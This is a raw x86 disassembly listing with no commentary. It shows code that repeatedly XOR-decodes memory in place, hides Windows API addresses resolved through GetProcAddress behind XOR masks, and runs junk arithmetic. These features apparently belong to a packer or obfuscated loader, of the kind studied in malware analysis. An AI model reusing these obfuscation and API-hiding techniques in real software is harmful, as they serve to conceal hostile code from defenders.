add eax, 0x1ce04
xor eax, dword [ecx]
push ebp
xor eax, 0xdccd02c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x67cf]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, 0xdcceced0
mov dword [ecx], eax
mov eax, dword [esp + 0x20]
add eax, 0xa1d229d9
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11c51]
add eax, 0x20214
mov dword [0x10106ae8], 0xa2605446
xor eax, dword [ecx]
xor eax, 0xdcceced8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [esp + 0x28]
add ecx, eax
mov dword [0x10105abc], ecx
lea ecx, [eax + 0xa421c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f46f]
add eax, 0x33e0c
xor eax, dword [ecx]
xor eax, 0xdccff2c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20094
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf87b0
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a923]
add eax, 0xa8fb8
xor eax, dword [ecx]
mov edx, dword [esp + 0x20]
xor eax, 0xdcc64374
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33a80]
add eax, 0x33a84
xor eax, dword [ecx]
xor eax, 0xdccff648
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, ecx, 0x5b0a0be3
mov dword [0x10105368], ecx
lea ecx, [eax + 0xa4170]
add eax, 0x26a8c
xor eax, dword [ecx]
xor eax, 0xdccea640
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x141c5]
add eax, 0x203c0
xor eax, dword [ecx]
xor eax, 0xdccecf0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x136ed]
add eax, 0x32944
xor eax, dword [ecx]
xor eax, 0xdccfe588
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a78]
add eax, 0x13050
xor eax, dword [ecx]
xor eax, 0xdccdfc9c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19462]
add eax, 0xa90e8
xor eax, dword [ecx]
xor eax, 0xdcc65c24
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [0x10103e64], eax
lea ecx, [eax + 0x16ace]
add eax, 0x21408
xor eax, dword [ecx]
xor eax, 0xdcced8c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa1b3]
add eax, 0xa5688
xor eax, dword [ecx]
xor eax, 0xdcc69a44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xebd4]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33b90]
add eax, 0x17e5d
xor eax, dword [ecx]
xor eax, 0xdccdb291
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2bbc]
add eax, 0xa7b08
xor eax, dword [ecx]
xor eax, 0xdcc6b7c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
add dword [0x1010536c], edx
lea ecx, [eax + 0x19701]
add eax, 0x201dc
xor eax, dword [ecx]
xor eax, 0xdccecd10
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xfa42]
add eax, 0x37078
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0x15e
xor eax, 0xdccfbcb4
mov dword [ecx], eax
sub dword [0x10103e60], edx
push dword [0x10107300]
push dword [0x10105ab8]
push dword [0x10106ae8]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x1002d704
mov eax, dword [0x10107300]
lea ecx, [eax + 0x140e6]
add eax, 0xa5aa0
xor eax, dword [ecx]
push 0x1010751d
xor eax, 0xdcc6966c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x231cc]
add eax, 0x16c60
xor eax, dword [ecx]
push ebp
xor eax, 0xdccda0ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa47d0]
add eax, 0x2612c
xor eax, dword [ecx]
xor eax, 0xdcceade0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x22c7]
add eax, 0x25020
xor eax, dword [ecx]
xor eax, 0xdcce9cec
mov dword [ecx], eax
mov ecx, dword [0x10107300]
mov eax, dword [0x10105ab8]
and eax, dword [0x101062e0]
lea edx, [ecx + 0xcda9]
add ecx, 0x28e2c
xor ecx, dword [edx]
xor ecx, 0xdcce42e0
mov dword [edx], ecx
mov ecx, dword [0x10105368]
and ecx, eax
mov eax, dword [0x10107300]
mov dword [0x10103e64], ecx
lea ecx, [eax + 0x1c616]
add eax, 0xa8fd0
xor eax, dword [ecx]
xor eax, 0xdcc6431c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [0x10106ae8]
mov dword [esp + 0x1c], ecx
lea ecx, [eax + 0xa4834]
add eax, 0x273c0
xor eax, dword [ecx]
xor eax, 0xdccebf0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17d52]
add eax, 0xa90e4
xor eax, dword [ecx]
xor eax, 0xdcc65c28
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2008c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf8780
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xab1f]
add eax, 0x328c4
xor eax, dword [ecx]
xor eax, 0xdccfe408
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa300]
add eax, 0x20204
xor eax, dword [ecx]
xor eax, 0xdccecec8
mov dword [ecx], eax
mov eax, dword [0x10107300]
xor eax, dword [esp + 0x14]
mov dword [0x10105ab8], eax
mov dword [esp + 0x1c], 0x2c9
push dword [0x10107300]
push dword [0x10105368]
push dword [0x10106ae8]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x1002d887
mov eax, dword [0x10105abc]
imul eax, eax, 0x6f14682
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240e8]
add eax, 0x23b04
xor eax, dword [ecx]
xor eax, 0xdccef7c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18481]
add eax, 0xa4c10
xor eax, dword [ecx]
xor eax, 0xdcc680dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cc5]
add eax, 0x24e28
xor eax, dword [ecx]
xor eax, 0xdcce82e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f5ec]
add eax, 0x34054
xor eax, dword [ecx]
xor eax, 0xdccf8c98
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17ca9]
add eax, 0x231e4
xor eax, dword [ecx]
xor eax, 0xdccefd28
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10103e64]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0xb979]
add eax, 0xa5a30
xor eax, dword [ecx]
xor eax, 0xdcc696fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32ffc]
add eax, 0x33000
xor eax, dword [ecx]
xor eax, 0xdccffccc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4edc]
add eax, 0x25b80
xor eax, dword [ecx]
xor eax, 0xdcce974c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13f7b]
add eax, 0x2007c
xor eax, dword [ecx]
xor eax, 0xdcceccb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [esp + 0x14]
add ecx, eax
mov dword [0x10103e64], ecx
lea ecx, [eax + 0x988d]
add eax, 0x200ac
xor eax, dword [ecx]
xor eax, 0xdccecc60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3e0c]
add eax, 0x5b570
xor eax, dword [ecx]
xor eax, 0xdcc979bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7e4e]
add eax, 0x20358
xor eax, dword [ecx]
xor eax, 0xdccecf94
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa75b]
add eax, 0x1ddb0
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0x148
xor eax, 0xdccd117c
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10105ab8]
push dword [0x10105368]
push section..data
call fcn.1001555e
mov eax, dword [0x10103e60]
or eax, dword [0x101062e0]
dec dword [esp + 0x1c]
mov dword [esp + 0x20], eax
jne 0x1002da21
mov eax, dword [0x10107300]
push 0x10107635
add eax, 0x200d4
push ebp
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x10107c4d
xor ecx, 0xcccf805e
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa099]
add eax, 0xa5a08
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa406]
add eax, 0x20114
xor eax, dword [ecx]
xor eax, 0xdccecdd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb7d3]
add eax, 0xa5a24
xor eax, dword [ecx]
xor eax, 0xdcc696e8
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x202a4
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9e98
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x256e8]
add eax, 0x39d0
xor eax, dword [ecx]
xor eax, 0xdcccf51c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, 0xdf7938fa
mov dword [0x101062e0], ecx
lea ecx, [eax + 0x1328f]
add eax, 0x32ad8
xor eax, dword [ecx]
xor eax, 0xdccfe614
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc11a]
add eax, 0x20280
xor eax, dword [ecx]
xor eax, 0xdccece4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x664f]
add eax, 0x2027c
xor eax, dword [ecx]
xor eax, 0xdcceceb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12295]
add eax, 0x32538
xor eax, dword [ecx]
xor eax, 0xdccfe9f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36ac0]
add eax, 0x24a18
xor eax, dword [ecx]
xor eax, 0xdcce86d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25ee8]
add eax, 0x52a0
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0x3d
xor eax, 0xdccc9e6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33af4]
add eax, 0x16c87
xor eax, dword [ecx]
xor eax, 0xdccda04b
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10105ab8]
push dword [esp + 0x1c]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x1002dbd0
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe89a]
add eax, 0x20140
xor eax, dword [ecx]
push 0x10107dfb
xor eax, 0xdccecd8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3c44]
add eax, 0x4b6a8
xor eax, dword [ecx]
push dword [esp + 0x34]
xor eax, 0xdcc87a64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19b9b]
add eax, 0xa5088
xor eax, dword [ecx]
xor eax, 0xdcc69c44
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
sub ecx, dword [esp + 0x28]
mov dword [0x101062e4], ecx
lea ecx, [eax + 0x18402]
add eax, 0x201a4
xor eax, dword [ecx]
xor eax, 0xdccecd68
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25454]
add eax, 0xf070
xor eax, dword [ecx]
xor eax, 0xdccc3cbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17f05]
add eax, 0x36070
xor eax, dword [ecx]
xor eax, 0xdccfacbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33e40]
add eax, 0x33e30
xor eax, dword [ecx]
xor eax, 0xdccff2fc
mov dword [ecx], eax
mov eax, dword [0x10103e60]
xor dword [esp + 0x20], eax
mov eax, dword [0x10106ae8]
xor eax, 0xcf2a3b1f
mov dword [0x10103e64], eax
mov eax, dword [0x10107300]
add eax, 0x20010
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9f8c
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xba20]
mov edx, eax
add eax, 0x202c0
imul edx, dword [esp + 0x18]
xor eax, dword [ecx]
xor eax, 0xdccece0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18dbf]
add eax, 0xa4f44
xor eax, dword [ecx]
xor eax, 0xdcc68388
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc0e2]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, 0xdccece88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x370dc]
add eax, 0x31810
xor eax, dword [ecx]
xor eax, 0xdccfd4dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36ae4]
add eax, 0x249cc
xor eax, dword [ecx]
xor eax, 0xdcce8500
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32990]
add eax, 0x13080
xor eax, dword [ecx]
xor eax, 0xdccdfc4c
mov dword [ecx], eax
mov eax, dword [0x10103e60]
add eax, 0xc4c33bfa
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240a8]
add eax, 0x23c98
xor eax, dword [ecx]
xor eax, 0xdccef054
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f64c]
and edx, eax
add eax, 0x340ec
xor eax, dword [ecx]
mov dword [esp + 0x18], edx
xor eax, 0xdccf8c20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4668]
add eax, 0x27154
xor eax, dword [ecx]
xor eax, 0xdccebd98
mov dword [ecx], eax
mov eax, dword [0x10105368]
imul eax, dword [0x101062e0]
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36a90]
add eax, 0x1dafb
xor eax, dword [ecx]
xor eax, 0xdccd1637
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc329]
add eax, 0x28894
xor eax, dword [ecx]
xor eax, 0xdcce4458
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4864]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, 0xdcceb4b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25458]
add eax, 0x28e0
xor eax, dword [ecx]
xor eax, 0xdccce42c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14638]
add eax, 0x20e00
xor eax, dword [ecx]
xor eax, 0xdccec2cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov dword [0x10103e60], eax
lea ecx, [eax + 0x97d4]
add eax, 0x200d4
xor eax, dword [ecx]
xor eax, 0xdccecc18
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a1c]
add eax, 0x3e50
xor eax, dword [ecx]
push 3
xor eax, 0xdcccf29c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x28fb4]
push dword [esp + 0x38]
add eax, 0xcec0
xor eax, dword [ecx]
xor eax, 0xdccc020c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13a11]
add eax, 0x279f4
xor eax, dword [ecx]
xor eax, 0xdcceb538
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20354
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x101077b4
xor ecx, 0x4ccccccf
mov dword [eax], ecx
mov eax, dword [0x10107300]
add eax, 0x20130
push ebp
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf82a8
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d25d]
add eax, 0xa55c0
xor eax, dword [ecx]
xor eax, 0xdcc6990c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32ea4]
add eax, 0x32e70
xor eax, dword [ecx]
xor eax, 0xdccfe2bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [esp + 0x20]
mov dword [0x101062e4], ecx
mov ecx, dword [0x10103e64]
xor ecx, dword [esp + 0x14]
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0x1c6d8]
add eax, 0x33d48
xor eax, dword [ecx]
xor eax, 0xdccff184
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x132ed]
add eax, 0x25748
xor eax, dword [ecx]
xor eax, 0xdcce9b84
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa469c]
add eax, 0x27434
xor eax, dword [ecx]
xor eax, 0xdcceb8f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3429]
add eax, 0x1f52b
xor eax, dword [ecx]
xor eax, 0xdccd39e7
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19e57]
add eax, 0x36310
xor eax, dword [ecx]
push 0x101073d6
push dword [esp + 0x3c]
xor eax, 0xdccfafdc
mov dword [ecx], eax
mov eax, dword [0x101062e4]
and eax, dword [esp + 0x20]
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa49e]
add eax, 0x37164
xor eax, dword [ecx]
xor eax, 0xdccfbda8
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20320
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf86f8
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1845c]
add eax, 0xa4c0c
xor eax, dword [ecx]
xor eax, 0xdcc680c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37094]
add eax, 0x31f08
xor eax, dword [ecx]
xor eax, 0xdccfd3c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1348c]
add eax, 0x32a34
xor eax, dword [ecx]
xor eax, 0xdccfe6f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, 0x7bdd13b9
mov dword [0x101062e0], ecx
lea ecx, [eax + 0x25ea4]
add eax, 0x2d40
xor eax, dword [ecx]
xor eax, 0xdccce18c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240c8]
add eax, 0x23c24
xor eax, dword [ecx]
xor eax, 0xdccef0e8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18189]
add eax, 0xa4c10
xor eax, dword [ecx]
xor eax, 0xdcc680dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19905]
add eax, 0xa4bf4
xor eax, dword [ecx]
xor eax, 0xdcc68738
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b48b]
add eax, 0x20090
xor eax, dword [ecx]
xor eax, 0xdccecc5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x129de]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, 0xdccece88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12318]
add eax, 0x32610
xor eax, dword [ecx]
xor eax, 0xdccfeadc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb8be]
add eax, 0xa5acc
xor eax, dword [ecx]
xor eax, 0xdcc69600
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x137c7]
add eax, 0x20218
xor eax, dword [ecx]
xor eax, 0xdcceced4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a5c]
add eax, 0x13030
xor eax, dword [ecx]
xor eax, 0xdccdfcfc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb854]
add eax, 0x28644
xor eax, dword [ecx]
xor eax, 0xdcce4a88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9fc8]
add eax, 0x2011c
xor eax, dword [ecx]
xor eax, 0xdccecdd0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb90a]
add eax, 0x202d8
xor eax, dword [ecx]
xor eax, 0xdccece14
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x333fc]
add eax, 0x33430
xor eax, dword [ecx]
xor eax, 0xdccff8fc
mov dword [ecx], eax
mov eax, dword [0x10103e60]
or eax, dword [0x10105abc]
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15398]
add eax, 0x20cd8
xor eax, dword [ecx]
xor eax, 0xdccec014
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb7a3]
add eax, 0x27b44
xor eax, dword [ecx]
xor eax, 0xdcceb788
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b20]
add eax, 0x249c0
xor eax, dword [ecx]
xor eax, 0xdcce850c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19282]
add eax, 0xa4f48
xor eax, dword [ecx]
xor eax, 0xdcc68384
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea edx, [eax - 0x1ac0412]
mov dword [esp + 0x14], edx
lea ecx, [eax + 0xfd70]
add eax, 0x20144
xor eax, dword [ecx]
xor eax, 0xdccecd88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2183]
add eax, 0x24fa4
xor eax, dword [ecx]
xor eax, 0xdcce8368
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa5fe]
add eax, 0x27e48
xor eax, dword [ecx]
xor eax, 0xdcceb284
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3adc]
add eax, 0x3fe78
xor eax, dword [ecx]
xor eax, 0xdccf32b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4b4c]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12f33]
add eax, 0xa5ad0
xor eax, dword [ecx]
xor eax, 0xdcc6961c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e719]
add eax, 0x32b04
xor eax, dword [ecx]
xor eax, 0xdccfe7c8
mov dword [ecx], eax
mov eax, dword [0x10105368]
or eax, 0xf71926a0
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4304]
add eax, 0x832e8
xor eax, dword [ecx]
xor eax, 0xdcc4fe24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24048]
add eax, 0x23e7c
xor eax, dword [ecx]
xor eax, 0xdccef2b0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32c58]
add eax, 0x32c5c
xor eax, dword [ecx]
xor eax, 0xdccfe090
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e7f4]
add eax, 0x34380
xor eax, dword [ecx]
xor eax, 0xdccf8f4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa406c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34400]
add eax, 0x343d4
xor eax, dword [ecx]
xor eax, 0xdccf8f18
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32b98]
add eax, 0x32b6c
xor eax, dword [ecx]
xor eax, 0xdccfe7a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x99ef]
add eax, 0x27df8
xor eax, dword [ecx]
xor eax, 0xdcceb134
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2409c]
add eax, 0x23cfc
xor eax, dword [ecx]
xor eax, 0xdccef030
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa13b]
add eax, 0xa5688
xor eax, dword [ecx]
xor eax, 0xdcc69a44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a171]
add eax, 0x20104
xor eax, dword [ecx]
xor eax, 0xdccecdc8
mov dword [ecx], eax
mov eax, dword [0x10105368]
add eax, edx
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1117c]
add eax, 0x20174
xor eax, dword [ecx]
xor eax, 0xdccecdb8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
sub ecx, dword [0x10103e64]
mov dword [0x101062e0], ecx
lea ecx, [eax + 0xab7e]
add eax, 0xa5a00
xor eax, dword [ecx]
xor eax, 0xdcc696cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f7bf]
add eax, 0x342a4
xor eax, dword [ecx]
xor eax, 0xdccf8e68
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240d4]
add eax, 0x23bc0
xor eax, dword [ecx]
xor eax, 0xdccef70c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33924]
add eax, 0x33928
xor eax, dword [ecx]
xor eax, 0xdccff5e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17e83]
add eax, 0xa4c04
xor eax, dword [ecx]
xor eax, 0xdcc680c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa70b]
add eax, 0xa6ad4
xor eax, dword [ecx]
xor eax, 0xdcc6a618
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe71a]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4737]
add eax, 0x25868
xor eax, dword [ecx]
push 0x10107d31
xor eax, 0xdcce94a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23fec]
add eax, 0x23ed4
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdccef218
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xcde9]
add eax, 0x28e44
xor eax, dword [ecx]
xor eax, 0xdcce4288
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x10106ae8]
mov dword [0x10103e64], ecx
lea ecx, [eax + 0x922c]
add eax, 0x27cd4
xor eax, dword [ecx]
xor eax, 0xdcceb018
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x202e4
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9ea8
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12585]
add eax, 0x28ca4
xor eax, dword [ecx]
xor eax, 0xdcce4068
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cc80]
add eax, 0x1ccb4
xor eax, dword [ecx]
xor eax, 0xdccd0078
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x101062e0]
mov dword [0x10105368], ecx
lea ecx, [eax + 0x337ec]
add eax, 0x337f0
xor eax, dword [ecx]
xor eax, 0xdccffb3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb53e]
add eax, 0xa5a20
xor eax, dword [ecx]
xor eax, 0xdcc696ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5919]
add eax, 0x202f0
xor eax, dword [ecx]
xor eax, 0xdccece3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x29148]
add eax, 0xf840
xor eax, dword [ecx]
xor eax, 0xdccc348c
mov dword [ecx], eax
mov eax, dword [0x10107300]
